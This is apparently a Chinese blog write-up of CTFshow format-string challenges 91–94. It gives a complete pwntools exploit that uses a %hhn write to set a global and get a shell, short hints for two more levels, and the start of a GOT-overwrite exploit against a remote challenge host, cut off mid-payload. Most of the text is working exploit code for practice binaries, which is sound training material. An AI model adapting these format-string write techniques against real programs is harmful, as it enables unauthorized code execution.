CTFshow---格式化字符串[91-100]更新完毕

原创

已于 2024-09-23 13:09:52 修改 · 1.4k 阅读

8 ·

CC 4.0 BY-SA版权

文章标签：

#安全

于 2024-09-20 22:56:43 首次发布

PWN91

简单的格式化字符串。
通过反汇编代码可以看出只要 daniu==6就能getshell
通过调试可以看到偏移为7

最终exp为

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28221)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

ru(b"    * *************************************                           ")
daniu = 0x0804B038

payload = p32(daniu)+b"%2c%7$hhn"

# gdb.attach(io)

sl(payload)



itr()

PWN92

运行直接输入%s,就能拿flag

PWN93

这里演示了各种基本用法，gdb调试跟进就可以了。我这里没调试，直接看了汇编代码。
输入7拿flag

PWN94

基础格式化
这些数据都可以通过调试算出来。

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28238)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

ru(b"    * *************************************                           ")


system_addr = elf.plt['system']
printf_got = elf.got['printf']

payload = p32(printf_got+2)